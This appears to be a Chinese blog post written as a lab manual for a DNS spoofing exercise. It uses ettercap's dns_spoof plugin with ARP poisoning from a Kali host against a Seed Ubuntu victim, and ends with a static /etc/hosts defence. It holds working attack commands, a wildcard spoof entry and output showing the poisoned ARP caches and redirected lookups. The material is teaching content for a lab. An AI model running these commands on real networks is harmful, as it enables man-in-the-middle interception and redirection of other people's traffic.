dns欺骗

 

 

【目的】

DNS(DomainName System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用记住IP地址。DNS协议运行在UDP协议之上,使用端口号53,DNS并不包含任何认证机制,因此第三方可以对DNS数据包进行伪造。本试验将进行DNS Spoofing攻击实验,实现

  • 理解DNS运行机制;
  • 了解DNS Spoofing攻击原理和防御办法。

【环境】

根据提供的实验环境,kali节点作为攻击者,Seed Ubuntu节点作为受害方,通过在Kali节点上允许ettercap软件,对Seed Ubuntu进行DNS Spoofing攻击。

【工具】

实验中的虚拟机

【原理】

在两个通信节点之间,攻击者利用DNS Spoofing攻击工具,通过向受害者返回伪造的DNS数据包,欺骗受害者访问到第三方网站。

【步骤】

注:这里的ip是测试环境的ip,自己做实验时需要替换成实验环境中的ip

1.编辑ettercap的dns配置文件

Kali系统中,Ettercap的配置文件默认位置在/etc/ettercap/etter.dns。用文本编辑其打开此文件,并添加

*.com A 192.168.200.10

即设置所有以.com后后缀的域名解析时,均解析到Kali节点自己的IP地址192.168.200.10。

2.开启kali的nginx服务
进入/var/www/html目录,将已经存在的 index.html 做一下备份
mv index.html index.html.bak

新建另外一个 index.html 文件并写入以下内容
vim index.html #新建并编辑

内容如下
<p>Hello,you hava been hacked!</p>

启动服务

service nginx start

3.启动ettercap

开启kali端口转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

在Kali系统中,执行

ettercap –T –i eth0 –P dns_spoof -M arp:remote /seed_ip// /gateway//

命令选项中,-T表示使用命令行文本方式,-i eth0表示监听的网络接口,-P表示使用dns_spoof的攻击插件,-M arp表示使用arp欺骗成为中间人,从而进行dns_spoof攻击。执行结果如下图所示:

root@kali:~# ettercap -T -i eth0 -P dns_spoof -M arp:remote /seed_ip// /gateway//
ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team
Listening on:
  eth0 -> 00:0C:29:DA:EE:F6
	  192.168.200.10/255.255.255.0
	  fe80::20c:29ff:feda:eef6/64
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

  33 plugins
  42 protocol dissectors
  57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
7 hosts added to the hosts list...
ARP poisoning victims:
 GROUP 1 : ANY (all the hosts in the list)
 GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...

4.受害节点访问网址

SeedUbuntu为本实验中的攻击受害节点,在Seed Ubuntu系统中,运行arp –a命令,显示本地arp缓存,如下图所示

root@ubuntu:/home/seed# arp -a
? (192.168.200.1) at 00:0c:29:da:ee:f6 [ether] on eth0
? (192.168.200.125) at 00:0c:29:da:ee:f6 [ether] on eth0
? (192.168.200.2) at 00:0c:29:da:ee:f6 [ether] on eth0
kali.local (192.168.200.10) at 00:0c:29:da:ee:f6 [ether] on eth0

可以看出,Kali节点已经成功成为了Seed Ubuntu和VMware虚拟机交换机之间的中间人,可以截取到Seed Ubuntu与互联网间的任何数据包。

此时,在Seed Ubuntu的命令行中执行nslookup命令,查询任意.com网址,如www.baidu.com或www.sina.com,其结果如下:

root@ubuntu:/home/seed# nslookup www.baidu.com
Server:		8.8.8.8
Address:	8.8.8.8#53
Name:	www.baidu.com
Address: 192.168.200.10
[01/21/2016 05:20] root@ubuntu:/home/seed# nslookup www.sina.com
Server:		8.8.8.8
Address:	8.8.8.8#53
Name:	www.sina.com
Address: 192.168.200.10

同时,用浏览器访问www.baidu.com/index.htm网址,结果如下图所示:

在本实验手册提供的虚拟机环境中,Kali节点默认在80端口运行Web服务,因此当客户访问www.baidu.com时被DNS spoof解析到了192.168.200.10/index.htm,所以Seed Ubuntu中浏览器显示的是Kali系统Web服务的页面内容。

5.DNS/IP静态绑定防御

DNSSpoofing攻击成功的原因是因为Seed Ubuntu接收到了错误的映射关系,因此,若在Seed Ubuntu中进行DNS和IP的静态绑定,SeedUbuntu下的浏览器将直接访问静态绑定IP,从而利用避免了DNSSpoofing。静态绑定方法简单,易于实验验证,但因需人工绑定,实际网络环境中应用不广。

SeedUbuntu系统下的默认映射文件位置为/etc/hosts,用文本编辑器编辑此文件,加入欲绑定的映射关系,如:

192.168.200.124 www.baidu.com

重启网络连接。此时,再利用浏览器访问www.baidu.com/index.htm时,域名将直接解析到Seed Ubuntu自身的IP地址192.168.200.124,即访问了Seed Ubuntu自身的Web服务,如下图所示:

在/etc/hosts文件中进行DNS/IP绑定时,www.baidu.com也可以绑定到百度真实IP地址,本实验中将其绑定到Seed Ubuntu自身IP,是为了说明若/etc/hosts被恶意程序修改,这种静态绑定方式就成为一种最简单的DNS
Spoofing方法。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值